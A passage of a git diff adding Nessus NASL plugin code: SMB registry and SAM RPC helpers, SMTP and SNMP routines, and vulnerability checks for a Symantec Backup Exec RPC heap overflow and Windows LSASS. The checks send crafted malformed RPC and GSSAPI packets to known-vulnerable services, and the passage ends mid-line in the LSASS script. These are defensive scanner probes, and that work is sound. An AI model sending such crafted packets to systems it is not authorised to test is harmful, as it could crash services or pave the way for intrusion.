Referent ID + raw_dword (d:0) + # Pointer + raw_dword (d:0) + # reserved + raw_dword (d:0) ; # reserved + + data = dce_rpc_pipe_request (fid:handle[1], code:OPNUM_ENUMKEY, data:data); + if (!data) + return NULL; + + rep = dce_rpc_parse_response (fid:handle[1], data:data); + if (!rep || (strlen (rep) < 24)) + return NULL; + + # Key name + len = get_word (blob:rep, pos:0); + unknown1 = get_word (blob:rep, pos:2); # 0x200 ? + ref_id = get_dword (blob:rep, pos:4); + unknown2 = get_dword (blob:rep, pos:8); + reserved = get_dword (blob:rep, pos:12); + len_2 = get_dword (blob:rep, pos:16); + + pos = 20 + len; + # Extra 2 bytes pad if len_2 odd + if ((len_2 % 2) == 1) + pos += 2; + + if (strlen (rep) < pos+20) + return NULL; + + key_name = get_string (blob:rep, pos:20); + + #Returned + ref_id = get_dword (blob:rep, pos:pos); + reserved = get_dword (blob:rep, pos:pos+4); + reserved = get_dword (blob:rep, pos:pos+8); + reserved = get_dword (blob:rep, pos:pos+12); + + # Return code + code = get_dword (blob:rep, pos:pos+16); + if (code != STATUS_SUCCESS) + return NULL; + + ret = key_name; + + return ret; +} + + + +#---------------------------------------------------------# +# Function : RegCloseKey # +# Description : Close key handle # +# Return : 1 on success # +#---------------------------------------------------------# + +function RegCloseKey (handle) +{ + local_var data, rep, code, ret; + + code = NULL; + + data = dce_rpc_pipe_request (fid:handle[1], code:OPNUM_CLOSEKEY, data:handle[0]); + if (data) + { + rep = dce_rpc_parse_response (fid:handle[1], data:data); + if (rep && (strlen (rep) == 24)) + { + # NULL handle (useless) + code + # Return code + code = get_dword (blob:rep, pos:20); + } + } + + if (handle[2] == 1) + ret = smb_close (fid:handle[1]); + + if (isnull (code) || (code != STATUS_SUCCESS) || (ret != 1)) + return NULL; + + return 1; +} + + + +#---------------------------------------------------------# +# Function : RegGetKeySecurity # +# Description : Return Key Security Descriptor # +# Type : xxx_SECURITY_INFORMATION # +# xxx = DACL, SACL, GROUP, OWNER # +# | to use multiple level # +#---------------------------------------------------------# + +function RegGetKeySecurity (handle, type) +{ + local_var data, rep, ret, len, code, ref_id, offset, size, unknown, sec_desc, size2; + local_var length, max_count, actual_count; + + data = handle[0] + + raw_dword (d:type) + + raw_dword (d:0) + # Referent ID; + raw_dword (d:0) + # Length + raw_dword (d:0) + # Offset + raw_dword (d:0xFFFFFFFF) ; # Size + + data = dce_rpc_pipe_request (fid:handle[1], code:OPNUM_GETKEYSECURITY, data:data); + if (!data) + return NULL; + + rep = dce_rpc_parse_response (fid:handle[1], data:data); + if (!rep || (strlen (rep) < 16)) + return NULL; + + # Referent ID + # length + # offset + # return code + + ref_id = get_dword (blob:rep, pos:0); + len = get_dword (blob:rep, pos:4); + offset = get_dword (blob:rep, pos:8); + code = get_dword (blob:rep, pos:strlen(rep)-4); + if (code != ERROR_INSUFFICIENT_BUFFER) + return NULL; + + # Now we do the same request but with the length of our allowed buffer (useless in fact with nasl) + + data = handle[0] + + raw_dword (d:type) + + raw_dword (d:0x20000) + # Referent ID; + raw_dword (d:len) + # Length + raw_dword (d:0) + # Offset + raw_dword (d:len) + # Size + raw_dword (d:0) + # reserved + raw_dword (d:0) ; # reserved + + data = dce_rpc_pipe_request (fid:handle[1], code:OPNUM_GETKEYSECURITY, data:data); + if (!data) + return NULL; + + rep = dce_rpc_parse_response (fid:handle[1], data:data); + if (!rep || (strlen (rep) < 24)) + return NULL; + + # Referent ID + # length + # offset + # return code + + ref_id = get_dword (blob:rep, pos:0); + len = get_dword (blob:rep, pos:4); + size = get_dword (blob:rep, pos:8); + actual_count = get_dword (blob:rep, pos:12); + offset = get_dword (blob:rep, pos:16); + max_count = get_dword (blob:rep, pos:20); + + if (strlen (rep) < 24+len+4) + return NULL; + + sec_desc = substr (rep, 24, 24+len-1); + sec_desc = parse_security_descriptor (blob:sec_desc); + + code = get_dword (blob:rep, pos:24+len); + if (code != STATUS_SUCCESS) + return NULL; + + return sec_desc; +} + diff --git a/content/WinVA/plugins/smb_sam.inc b/content/WinVA/plugins/smb_sam.inc new file mode 100644 index 0000000..246ec9a --- /dev/null +++ b/content/WinVA/plugins/smb_sam.inc @@ -0,0 +1,801 @@ +# -*- Fundamental -*- +# +# +# (C) 2006 Tenable Network Security +# +# This script is released under one of the Tenable Script Licenses and may not +# be used from within scripts released under another license without the +# authorization from Tenable Network Security Inc. +# +# See the following licenses for details : +# http://www.nessus.org/plugins/RegisteredFeed.pdf +# http://www.nessus.org/plugins/TenableCommercial.pdf +# http://www.nessus.org/plugins/DirectFeed.pdf +# http://www.nessus.org/plugins/DirectFeedCommercial.pdf +# +# +# @NOGPL@ +# +# smb_sam.inc +# $Revision: 1.1 $ +# + + +#==================================================================# +# Section 6a. SAM API # +#==================================================================# + + +#---------------------------------------------------------# +# Function : SamConnect2 # +# Description : Connects to the remote SAM pipe. # +# Return : ret[0] : registry handle # +# ret[1] : registry pipe # +# ret[2] : 1 (Pipe handle) # +#---------------------------------------------------------# + +function SamConnect2 () +{ + local_var fid, ret, data, resp, rep; + + fid = bind_pipe (pipe:"\samr", uuid:"12345778-1234-abcd-ef00-0123456789ac", vers:1); + if (isnull (fid)) + return NULL; + + data = class_parameter (ref_id:0x00020000, name:"\"+session_get_hostname()) + + raw_dword (d:0x30) ; # Access mask + + data = dce_rpc_pipe_request (fid:fid, code:OPNUM_SAMCONNECT2, data:data); + if (!data) + return NULL; + + # response structure : + # Policy handle (20 bytes) + # return code (dword) + + rep = dce_rpc_parse_response (fid:fid, data:data); + if (!rep || (strlen (rep) != 24)) + return NULL; + + resp = get_dword (blob:rep, pos:20); + if (resp != STATUS_SUCCESS) + return NULL; + + ret = NULL; + ret[0] = substr (rep, 0, 19); + ret[1] = fid; + ret[2] = 1; + + return ret; +} + + +#---------------------------------------------------------# +# Function : SamEnumerateDomainsInSamServer # +# Description : Name is explicit enough # +# Return : Array of Domain Names # +#---------------------------------------------------------# + +function SamEnumerateDomainsInSamServer (handle) +{ + local_var data, resp, rep, ret, len, ref_id, count; + local_var actual_count, max_count, offset, name, pos, i; + + data = handle[0] + # Handle + raw_dword (d:0) + # NULL handle + raw_dword (d:0xFFFFFFFF) ; # Max buf size + + data = dce_rpc_pipe_request (fid:handle[1], code:OPNUM_SAMENUMDOM, data:data); + if (!data) + return NULL; + + rep = dce_rpc_parse_response (fid:handle[1], data:data); + if (!rep || (strlen (rep) < 24)) + return NULL; + + resp = get_dword (blob:rep, pos:strlen(rep)-4); + if (resp != STATUS_SUCCESS) + return NULL; + + handle = get_dword (blob:rep, pos:0); + ref_id = get_dword (blob:rep, pos:4); + count = get_dword (blob:rep, pos:8); + ref_id = get_dword (blob:rep, pos:12); + max_count = get_dword (blob:rep, pos:16); + + # we don't care about size and ref_id + pos = count * 12 + 20; + + ret = NULL; + + for (i=0; i +# $Revision: 1.28 $ + +function smtp_close(socket) +{ + send(socket: socket, data: 'QUIT\r\n'); + smtp_recv_line(socket: socket); + close(socket); +} + +function smtp_open(port, helo) +{ + local_var soc, data; + + soc = open_sock_tcp(port); + if (! soc) return NULL; + + data = smtp_recv_banner(socket:soc); + if (! data) + { + smtp_close(socket: soc); + return NULL; + } + + if ( isnull(helo) ) return soc; + + send(socket:soc, data: strcat('HELO ', helo, '\r\n')); + data = smtp_recv_line(socket: soc); + if(! ereg(pattern:"^[2-3][0-9][0-9]", string:data)) + { + smtp_close(socket: soc); + return NULL; + } + + return soc; +} + +function smtp_send_socket(socket, from, to, body) +{ + local_var buff; + # display(string("smtp_send_socket from=", from, " to=", to, "\n")); + # Just to be sure + send(socket: socket, data: string("RSET\r\n")); + buff = recv_line(socket: socket, length: 2048); + # Here, we might test the return code + if (from !~ ' *<.*> *') from = strcat('<', from, '>'); + send(socket: socket, data: string("MAIL FROM: ", from, "\r\n")); + buff = recv_line(socket: socket, length: 2048); + if (! ereg(pattern:"^2[0-9][0-9] ", string:buff)) { return (0); } + + if (to !~ ' *<.*> *') to = strcat('<', to, '>'); + send(socket: socket, data: string("RCPT TO: ", to, "\r\n")); + buff = recv_line(socket: socket, length: 2048); + if (! ereg(pattern:"^2[0-9][0-9] ", string:buff)) { return (0); } + + send(socket: socket, data: string("DATA\r\n")); + buff = recv_line(socket: socket, length: 2048); + if (! ereg(pattern:"^3[0-9][0-9] ", string:buff)) { return (0); } + + # Make sure that every line ends up with \r\n + # This is not useful yet, as only two scripts send data to the SMTP server + #body = ereg_replace(string: body, pattern: string("([^\r])\n"), replace: string("\\1\r\n")); + send(socket: socket, data: body); + send(socket: socket, data: string("\r\n.\r\n")); + buff = recv_line(socket: socket, length: 2048); + if (! ereg(pattern:"^2[0-9][0-9] ", string:buff)) { return (0); } + return(1); +} + +function smtp_send_port(port, from, to, body) +{ + local_var s, buff, ret, hostname; + s = open_sock_tcp(port); + if (! s) return (0); + + buff = recv_line(socket: s, length: 2048); + hostname = get_kb_item('smtp/'+'/helo'); + if (! hostname) hostname = 'nessus'; + send(socket: s, data: strcat('HELO ', hostname, '\r\n')); + buff = recv_line(socket: s, length: 2048); + # We should test the code + ret = smtp_send_socket(socket: s, from: from, to: to, body: body); + send(socket: s, data: string("QUIT\r\n")); + close(s); + return (ret); +} + +function smtp_from_header() +{ + local_var fromaddr; + fromaddr = get_kb_item("SMTP/headers/From"); + if (!fromaddr) fromaddr = "nessus@example.com"; + return (fromaddr); +} + +function smtp_to_header() +{ + local_var toaddr; + toaddr = get_kb_item("SMTP/headers/To"); + if (!toaddr) toaddr = string("postmaster@[", get_host_ip(), "]"); + return (toaddr); +} + +function get_smtp_banner(port) +{ + local_var sb, banner, soc; + + sb = string("smtp/banner/", port); + banner = get_kb_item(sb); + if(banner) return (banner); + if ( get_kb_item("smtp/" + port + "/broken") ) + return NULL; + + if(! get_port_state(port)) return (0); + soc = open_sock_tcp(port); + if (! soc) { + set_kb_item(name:"smtp/" + port + "/broken", value:TRUE); + return NULL; + } + banner = smtp_recv_banner(socket: soc); + close(soc); + if(! banner ) { + set_kb_item(name:"smtp/" + port + "/broken", value:TRUE); + return NULL; + } + + + if ( defined_func("replace_kb_item") ) + replace_kb_item(name: sb, value: banner); + else + set_kb_item(name: sb, value: banner); + return(banner); +} + + +function smtp_recv_line(socket, code, retry, last) +{ + local_var ret, n, r, pattern; + + if (isnull(code)) + pat = "^[0-9][0-9][0-9]-"; + else + pat = strcat("^", code, "-"); + + ret = ""; + r = recv_line(socket:socket, length:4096); + # + n = 0; + while (! r && n ++ < retry) + r = recv_line(socket:socket, length:4096); + # + n = 0; + ret = r; + if(strlen(r) < 4) + return r; + + while(ereg(pattern: pat, string:r)) + { + n = n + 1; + r = recv_line(socket:socket, length:4096); + if (strlen(r) == 0) break; + if (n > 512) + return NULL; + if (last) ret = r; + else ret = strcat(ret, r); + } + return ret; +} + +function smtp_recv_banner(socket) +{ + return smtp_recv_line(socket: socket, code: "220"); +} + diff --git a/content/WinVA/plugins/snmp_func.inc b/content/WinVA/plugins/snmp_func.inc new file mode 100644 index 0000000..d67ca88 --- /dev/null +++ b/content/WinVA/plugins/snmp_func.inc @@ -0,0 +1,703 @@ +# -*- Fundamental -*- +# +# +# (C) 2005 Tenable Network Security +# +# This script is released under one of the Tenable Script Licenses and may not +# be used from within scripts released under another license without the +# authorization from Tenable Network Security Inc. +# +# See the following licenses for details : +# http://www.nessus.org/plugins/RegisteredFeed.pdf +# http://www.nessus.org/plugins/TenableCommercial.pdf +# http://www.nessus.org/plugins/DirectFeed.pdf +# http://www.nessus.org/plugins/DirectFeedCommercial.pdf +# +# +# @NOGPL@ +# +# snmp_func.inc +# $Revision: 1.2 $ +# + +global_var snmp_request_id, SNMP_VERSION; + +snmp_request_id = 0; + +SNMP_VERSION = get_kb_item ("SNMP/version"); +if (isnull(SNMP_VERSION)) + SNMP_VERSION = 0; # snmpv1 + +#---------------------------------------------------------# +# Function : ber_length # +# Description : return raw ber length of data # +#---------------------------------------------------------# + +function ber_length (data) +{ + local_var tmp, length, len; + + length = NULL; + len = strlen (data); + + if (len == 0) + return raw_string (0); + + while (len != 0) + { + length = raw_string (len % 256) + length; + len = len / 256; + } + + if ((strlen (length) > 1) || ((strlen(length) == 1) && (ord(length[0]) > 127))) + length = raw_string (128 + strlen (length)) + length; + + return length; +} + + +#---------------------------------------------------------# +# Function : ber_encode # +# Description : Return ber encoded data # +#---------------------------------------------------------# + +function ber_encode (tag,data) +{ + return raw_string (tag) + ber_length(data:data) + data; +} + + +#---------------------------------------------------------# +# Function : ber_put_int # +# Description : Return ber encoded INTEGER # +#---------------------------------------------------------# + +function ber_put_int (i) +{ + local_var val,j,tmp; + + if (isnull (i)) + return NULL; + + val[0] = i & 255; + val[1] = (i>>8) & 255; + val[2] = (i>>16) & 255; + val[3] = (i>>24) & 255; + + j = 3; + while ((val[j] == 0) && (j != 0)) + j--; + + tmp = NULL; + while (j != 0) + { + tmp += raw_string (val[j]); + j--; + } + + tmp += raw_string (val[j]); + + return ber_encode (tag:0x02, data:tmp); +} + + +#---------------------------------------------------------# +# Function : ber_put_octet_string # +# Description : Return ber encoded OCTET STRING # +#---------------------------------------------------------# + +function ber_put_octet_string (string) +{ + return ber_encode (tag:0x04, data:string); +} + + +#---------------------------------------------------------# +# Function : ber_put_get_pdu # +# Description : Return ber encoded GetRequestPDU # +#---------------------------------------------------------# + +function ber_put_get_pdu (pdu) +{ + return ber_encode (tag:0xA0, data:pdu); +} + + +#---------------------------------------------------------# +# Function : ber_put_get_next_pdu # +# Description : Return ber encoded GetRequestNextPDU # +#---------------------------------------------------------# + +function ber_put_get_next_pdu (pdu) +{ + return ber_encode (tag:0xA1, data:pdu); +} + + +#---------------------------------------------------------# +# Function : ber_put_null # +# Description : Return ber encoded NULL # +#---------------------------------------------------------# + +function ber_put_null () +{ + return ber_encode (tag:0x05, data:NULL); +} + + +#---------------------------------------------------------# +# Function : ber_put_oid # +# Description : Return ber encoded OID (string) # +# ex: "1.2.840.113554.1.2.2" # +#---------------------------------------------------------# + +function ber_put_oid (oid) +{ + local_var nums, num, enum, i, max, encoded; + + if (isnull (oid)) + return NULL; + + nums = split (oid, sep:".", keep:0); + + max = max_index (nums); + if (max < 2) + return NULL; + + # value1 x 40 + value2 + encoded = raw_string (40*int(nums[0]) + int(nums[1])); + + for (i=2; i < max; i++) + { + num = int(nums[i]); + enum = raw_string (num % 128); + num = num / 128; + while (num != 0) + { + enum = raw_string (128 + (num%128)) + enum; + num = num / 128; + } + encoded += enum; + } + + # OID Tag = 0x06 + return ber_encode (tag:0x06, data:encoded); +} + + +#---------------------------------------------------------# +# Function : ber_put_sequence # +# Description : Return ber encoded SEQUENCE # +#---------------------------------------------------------# + +function ber_put_sequence (seq) +{ + local_var encoded, max, i, j, val; + + max = max_index (seq); + + encoded = NULL; + + for (j=0; j < max; j++) + { + val = seq[j]; + if (!isnull(val)) + { + encoded += val; + } + } + + # SEQUENCE Tag = 0x30 + return ber_encode (tag:0x30, data:encoded); +} + + +function integer (i) +{ + local_var j,k; + + j = 0; + + for (k=0; k < strlen(i); k++) + { + j = j * 256 + ord(i[k]); + } + + return j; +} + + +#---------------------------------------------------------# +# Function : ber_decode # +# Description : Return ber decoded data # +# [0] = code # +# [1] = data # +# [2] = next pos in buffer # +#---------------------------------------------------------# + +function ber_decode (data, pos) +{ + local_var tmp, i, j, len, len2; + + if (isnull (data)) + return NULL; + + if (isnull (pos)) + j = 0; + else + j = pos; + + if (strlen(data) - j < 2) + return NULL; + + tmp[0] = ord(data[j]); + j++; + + len = ord(data[j]); + j++; + if (len > 127) + { + len -= 128; + if (strlen(data) - j < len) + return NULL; + + len2 = integer (i:substr (data, j, j + len - 1)); + j += len; + len = len2; + } + + if (strlen(data) - j < len) + return NULL; + + tmp[1] = substr(data,j,j+len-1); + tmp[2] = j + len; + + return tmp; +} + + +#---------------------------------------------------------# +# Function : ber_decode_oid # +# Description : Return OID (string) # +# ex: "1.2.840.113554.1.2.2" # +#---------------------------------------------------------# + +function ber_decode_oid (oid) +{ + local_var soid, i, val; + + if (strlen (oid) < 1) + return NULL; + + soid = string (ord (oid[0]) / 40, ".", ord (oid[0]) % 40); + + for (i = 1; i < strlen(oid); i++) + { + val = 0; + while (ord(oid[i]) >= 128) + { + val = ((ord(oid[i]) - 128) + val) * 128; + i++; + } + val += ord (oid[i]); + soid += string (".",val); + } + + return soid; +} + + +#---------------------------------------------------------# +# Function : ber_get_data # +# Description : Return ber decoded data # +#---------------------------------------------------------# + +function ber_get_data (tag,data) +{ + local_var tmp; + + tmp = ber_decode (data:data); + if (isnull (tmp) || (tmp[0] != tag)) + return NULL; + + return tmp[1]; +} + + +#---------------------------------------------------------# +# Function : ber_get_sequence # +# Description : Return der decoded sequence # +#---------------------------------------------------------# + +function ber_get_sequence (seq) +{ + local_var tmp,pos,i,ret,list; + + if (!seq) + return NULL; + + list = ber_decode (data:seq); + if (isnull(list) || (list[0] != 0x30)) + return NULL; + + list = list[1]; + + tmp = NULL; + tmp[0] = 0; + + pos = 0; + i = 1; + while (pos < strlen(list)) + { + ret = ber_decode (data:list,pos:pos); + if (isnull(ret)) + return NULL; + + tmp[i] = substr (list, pos, ret[2]); + tmp[0] = tmp[0] + 1; + pos = ret[2]; + i++; + } + + return tmp; +} + + +#---------------------------------------------------------# +# Function : ber_response_pdu # +# Description : Return ber decoded response_pdu # +#---------------------------------------------------------# + +function ber_get_response_pdu (pdu) +{ + local_var tmp,pos,i,ret,list; + + if (!pdu) + return NULL; + + list = ber_decode (data:pdu); + if (isnull(list) || ((list[0] != 0xA2) && (list[0] != 0xA1)) ) + return NULL; + + list = list[1]; + + tmp = NULL; + tmp[0] = 0; + + pos = 0; + i = 1; + while (pos < strlen(list)) + { + ret = ber_decode (data:list,pos:pos); + if (isnull(ret)) + return NULL; + + tmp[i] = substr (list, pos, ret[2]); + tmp[0] = tmp[0] + 1; + pos = ret[2]; + i++; + } + + return tmp; +} + + +#---------------------------------------------------------# +# Function : ber_get_int # +# Description : Return ber decoded integer # +#---------------------------------------------------------# + +function ber_get_int (i) +{ + local_var tmp; + + tmp = ber_get_data (tag:0x02, data:i); + if (isnull(tmp)) + return NULL; + + tmp = integer (i:tmp); + if (isnull(tmp)) + return NULL; + + return tmp; +} + + +#---------------------------------------------------------# +# Function : ber_get_timeticks # +# Description : Return ber decoded time # +#---------------------------------------------------------# + +function ber_get_timeticks (time) +{ + local_var tmp, ms, s, m, h, d; + + tmp = ber_get_data (tag:0x43, data:time); + if (isnull(tmp)) + return NULL; + + if ((strlen(tmp) > 4) || (strlen(tmp) == 4 && ord(tmp[0]) > 0x80)) + { + return string ("Time is too big to be decoded : 0x", hexstr(tmp), " ms"); + } + + tmp = integer (i:tmp); + if (isnull(tmp)) + return NULL; + + # convert to sec + tmp = tmp / 100; + s = tmp % 60; + tmp = tmp / 60; + m = tmp % 60; + tmp = tmp / 60; + h = tmp % 60; + d = tmp / 60; + + return string (d, "d ",h,"h ",m, "m ", s, "s"); +} + + +#---------------------------------------------------------# +# Function : ber_get_octet_string # +# Description : Return ber decoded octet string # +#---------------------------------------------------------# + +function ber_get_octet_string (string) +{ + return ber_get_data (tag:0x04, data:string); +} + + +#---------------------------------------------------------# +# Function : ber_get_oid # +# Description : Return ber decoded oid # +#---------------------------------------------------------# + +function ber_get_oid (oid) +{ + local_var tmp; + + tmp = ber_get_data (tag:0x06, data:oid); + if (!tmp) + return NULL; + + tmp = ber_decode_oid (oid:tmp); + if (!tmp) + return NULL; + + return tmp; +} + + +#---------------------------------------------------------# +# Function : snmp_extract_reply # +# Description : Return ber decoded snmp reply value # +#---------------------------------------------------------# + +function snmp_extract_reply (rep) +{ + if (strlen(rep) < 2) + return NULL; + + if (ord(rep[0]) == 0x02) + return ber_get_int (i:rep); + + if (ord(rep[0]) == 0x04) + return ber_get_octet_string (string:rep); + + if (ord(rep[0]) == 0x06) + return ber_get_oid (oid:rep); + + if (ord(rep[0]) == 0x43) + return ber_get_timeticks (time:rep); + + return NULL; +} + + +#---------------------------------------------------------# +# Function : snmp_reply # +# Description : Return ber decoded snmp reply value # +#---------------------------------------------------------# + +function snmp_reply (socket, timeout) +{ + local_var seq, res, pdu, error, oid, ret, rep, id, cmpt, vers; + + cmpt = 5; + + while (cmpt) + { + rep = recv(socket:socket, length:4096, timeout:timeout); + if (!rep) + return NULL; + + # First decode snmp reply (sequence) + seq = ber_get_sequence (seq:rep); + if (isnull(seq) || (seq[0] != 3)) + return NULL; + + # Check if version is 1 (0) + vers = ber_get_int (i:seq[1]); + if (isnull(vers) || vers != SNMP_VERSION) + return NULL; + + # Check if Response PDU is 2 + pdu = ber_get_response_pdu (pdu:seq[3]); + if (isnull(pdu) || (pdu[0] != 4)) + return NULL; + + id = ber_get_int (i:pdu[1]); + if (!isnull(id) && id == (snmp_request_id - 1)) + { + # Check if Error == NO ERROR + error = ber_get_int (i:pdu[2]); + if (isnull(error) || (error != 0)) + return NULL; + + # Extract response + seq = ber_get_sequence (seq:pdu[4]); + if (isnull(seq) || (seq[0] != 1)) + return NULL; + + seq = ber_get_sequence (seq:seq[1]); + if (isnull(seq) || (seq[0] != 2)) + return NULL; + + oid = ber_get_oid (oid:seq[1]); + res = snmp_extract_reply (rep:seq[2]); + + if (isnull(oid)) + return NULL; + + ret = make_list(); + ret[0] = oid; + ret[1] = res; + + return ret; + } + + cmpt--; + } +} + + +#---------------------------------------------------------# +# Function : snmp_request # +# Description : Do an snmp request and return reply # +#---------------------------------------------------------# + +function snmp_request (socket, community, oid) +{ + local_var req, rep, seq, request; + + seq = make_list( + ber_put_oid (oid:oid), + ber_put_null () + ); + + seq = make_list( + ber_put_sequence(seq:seq) + ); + + request = + ber_put_int (i:snmp_request_id) + # Request Id + ber_put_int (i:0) + # Error Status: NO ERROR (0) + ber_put_int (i:0) + # Error Index (0) + ber_put_sequence (seq:seq); # Object Identifier + +req = ber_put_int (i:SNMP_VERSION) + # version + ber_put_octet_string (string:community) + # community string + ber_put_get_pdu (pdu:request); # PDU type + + req = ber_put_sequence (seq:make_list(req)); + + snmp_request_id += 1; + + send (socket:socket, data:req); + rep = snmp_reply (socket:socket); + + return rep[1]; +} + + +#---------------------------------------------------------# +# Function : snmp_request_next # +# Description : Do an snmp request_next and return reply # +#---------------------------------------------------------# + +function snmp_request_next (socket, community, oid, timeout) +{ + local_var req, rep, seq, request; + + seq = make_list( + ber_put_oid (oid:oid), + ber_put_null () + ); + + seq = make_list( + ber_put_sequence(seq:seq) + ); + + request = + ber_put_int (i:snmp_request_id) + # Request Id + ber_put_int (i:0) + # Error Status: NO ERROR (0) + ber_put_int (i:0) + # Error Index (0) + ber_put_sequence (seq:seq); # Object Identifier + +req = ber_put_int (i:SNMP_VERSION) + # version + ber_put_octet_string (string:community) + # community string + ber_put_get_next_pdu (pdu:request); # PDU type + + req = ber_put_sequence (seq:make_list(req)); + + snmp_request_id += 1; + + send (socket:socket, data:req); + + return snmp_reply (socket:socket, timeout:timeout); +} + + +#---------------------------------------------------------# +# Function : scan_snmp_string # +# Description : do a snmp string scan with get_next_pdu # +#---------------------------------------------------------# + +function scan_snmp_string(socket, community, oid) +{ + local_var soid, list, port; + + list = NULL; + soid = oid; + + while(1) + { + port = snmp_request_next (socket:socket, community:community, oid:soid); + if (!isnull(port) && egrep (pattern:string("^",oid,"\\."), string:port[0])) + { + list = string (list, port[1], "\n"); + soid = port[0]; + } + else + break; + } + + return list; +} + + +#---------------------------------------------------------# +# Function : is_valid_snmp_product # +# Description : checks if the product oid is from the same# +# manufacturer # +#---------------------------------------------------------# + +function is_valid_snmp_product(manufacturer, oid) +{ + if (egrep(pattern:string("^",manufacturer,"\\..*"), string:oid)) + return TRUE; + + return FALSE; +} diff --git a/content/WinVA/plugins/symantec_backup_exec_rpc_heap_overflows2.nasl b/content/WinVA/plugins/symantec_backup_exec_rpc_heap_overflows2.nasl new file mode 100644 index 0000000..88bebf5 --- /dev/null +++ b/content/WinVA/plugins/symantec_backup_exec_rpc_heap_overflows2.nasl @@ -0,0 +1,105 @@ +# +# (C) Tenable Network Security, Inc. +# + + +include("compat.inc"); + +if (description) +{ + script_id(25707); + script_version("$Revision: 1.12 $"); + script_cvs_date("$Date: 2011/06/11 00:23:27 $"); + + script_cve_id("CVE-2007-3509"); + script_bugtraq_id (23897); + script_osvdb_id(36111); + + script_name(english:"Symantec Backup Exec for Windows RPC Crafted ncacn_ip_tcp Request Remote Overflow"); + script_summary(english:"Test the VERITAS Backup Exec RPC Server heap overflow"); + + script_set_attribute(attribute:"synopsis", value: +"Arbitrary code can be executed on the remote host."); + script_set_attribute(attribute:"description", value: +"The remote host is running a version of VERITAS Backup Windows RPC server +which is vulnerable to a remote buffer overflow. An attacker may exploit this +flaw to execute arbitrary code on the remote host or to disable this service +remotely. + +To exploit this flaw, an attacker would need to send a specially crafted packet +to the remote service."); + script_set_attribute(attribute:"solution", value: +"http://seer.entsupport.symantec.com/docs/289731.htm"); + script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P"); + script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C"); + script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available"); + script_set_attribute(attribute:"exploit_available", value:"false"); + + script_set_attribute(attribute:"vuln_publication_date", value: "2007/07/12"); + script_set_attribute(attribute:"patch_publication_date", value: "2007/07/11"); + script_set_attribute(attribute:"plugin_publication_date", value: "2007/07/16"); + + script_set_attribute(attribute:"plugin_type", value:"remote"); + script_set_attribute(attribute:"cpe", value:"cpe:/a:symantec:veritas_backup_exec"); + script_end_attributes(); + + script_category(ACT_GATHER_INFO); + script_copyright(english:"This script is Copyright (C) 2007-2011 Tenable Network Security, Inc."); + script_family(english:"Windows"); + + script_dependencies("smb_nativelanman.nasl"); + script_require_keys("Host/OS/smb"); + script_require_ports(139,445); + exit(0); +} + +include ('smb_func.inc'); + +os = get_kb_item("Host/OS/smb"); +if ( "Windows" >!< os ) exit (0); + +port = 6106; +if ( ! get_port_state(port) ) exit(0); +soc = open_sock_tcp (port); +if (!soc) exit (0); + +ret = dce_rpc_bind(cid:session_get_cid(), uuid:"ebf5b2bb-09ab-415e-b89e-eb67c265f669", vers:1); +send (socket:soc, data:ret); +resp = recv (socket:soc, length:4096); + +if (!resp) +{ + close (soc); + exit (0); +} + +ret = dce_rpc_parse_bind_ack (data:resp); +if (isnull (ret) || (ret != 0)) +{ + close (soc); + exit (0); +} + + + data = raw_dword (d:4) + + raw_dword (d:4) + + raw_dword (d:4) + + raw_dword (d:4); + +ret = dce_rpc_request (code:0x00, data:data); +send (socket:soc, data:ret); +resp = recv (socket:soc, length:4096); + +close (soc); + +resp = dce_rpc_parse_response (data:resp); +if (strlen(resp) != 32) + exit (0); + +# patched = 0x000007c0 (11.0 -> ACCESS DENIED) +# not patched = 0x0000000e + +val = get_dword (blob:resp, pos:strlen(resp)-4); +if (val == 0x0e) + display("Success"); + diff --git a/content/WinVA/plugins/win_lsass.nasl b/content/WinVA/plugins/win_lsass.nasl new file mode 100644 index 0000000..d11b83d --- /dev/null +++ b/content/WinVA/plugins/win_lsass.nasl @@ -0,0 +1,149 @@ +# DESC : Windows LSASS +# AUTHOR: Fizz +# DATE : 05/03/2006 +# +# NOTES : This vulnerability check script is based on the +# smb_kb835732.nasl provided with nessus. +# + +include ("smb_func.inc"); + + +# ############# +# # FUNCTIONS # +# ############# + + +function gssapi() +{ + return raw_string(0x60, 0x58,0x06,0xFF,0x06,0xFF,0x06,0x0F,0x05,0x0F,0x02,0xFF,0x06,0xFF,0xFF,0xFF,0xFF, 0x06,0x00,0x06,0x00,0x2A,0x00,0x00,0x00,0x0A,0x00,0x0A,0x00,0x20,0x00,0x00,0x00, 0x42,0x4C,0x49,0x4E,0x47,0x42,0x4C,0x49,0x4E,0x47,0x4D,0x53,0x48,0x4F,0x4D,0x45, 0x2A,0xFF,0x7F,0x74,0x6F,0xFF,0x0A,0x0B,0x9E,0xFF,0xE6,0x56,0x73,0x37,0x57,0x37, 0x0A,0x0B,0x0C); +} + + +# ############# +# # THE CHECK # +# ############# + + +name = kb_smb_name(); +if(!name) + exit(0); + +port = int(get_kb_item("SMB/transport")); + +if (!port) +{ + port = 445; + soc = 0; + if (get_port_state(port)) + { + soc = open_sock_tcp(port); + } + if (!soc) + { + port = 139; + if (!get_port_state(port)) + exit(0); + } +} + +if (!soc) + soc = open_sock_tcp(port); +if (!soc) + exit(0); + +session_init (socket:soc, hostname:name); + +if (port == 139) +{ + if (netbios_session_request () != TRUE) + exit (0); +} + +ret = smb_negotiate_protocol (); +if (!ret) + exit (0); + +# Some checks in the header first +header = get_smb_header (smbblob:ret); +if (!ret) + exit (0); + +if (smb_check_success (data:ret) == FALSE) + exit (0); + +code = get_header_command_code (header:header); +if (code != SMB_COM_NEGOTIATE) + exit (0); + +# We now parse/take information in SMB parameters +parameters = get_smb_parameters (smbblob:ret); +if (!parameters) + exit (0); + +DialectIndex = get_word (blob:parameters, pos:0); + +if (DialectIndex > (supported_protocol-1)) + exit (0); + +if (protocol[DialectIndex] != "NT LM 0.12") + exit (0); + +Capabilities = get_dword (blob:parameters, pos:19); + +if (Capabilities & CAP_UNICODE) + session_set_unicode (unicode:1); +else + session_set_unicode (unicode:0); + +if (Capabilities & CAP_EXTENDED_SECURITY) + session_add_flags2 (flag:SMB_FLAGS2_EXTENDED_SECURITY); +else + exit (0); + + +header = smb_header (Command: SMB_COM_SESSION_SETUP_ANDX, Status: nt_status (Status: STATUS_SUCCESS)); + +securityblob = gssapi(); + +parameters = raw_byte (b:255) + # no further command + raw_byte (b:0) + + raw_word (w:0) + + raw_word (w:session_get_buffersize()) + + raw_word (w:1) + + raw_word (w:0) + + raw_dword 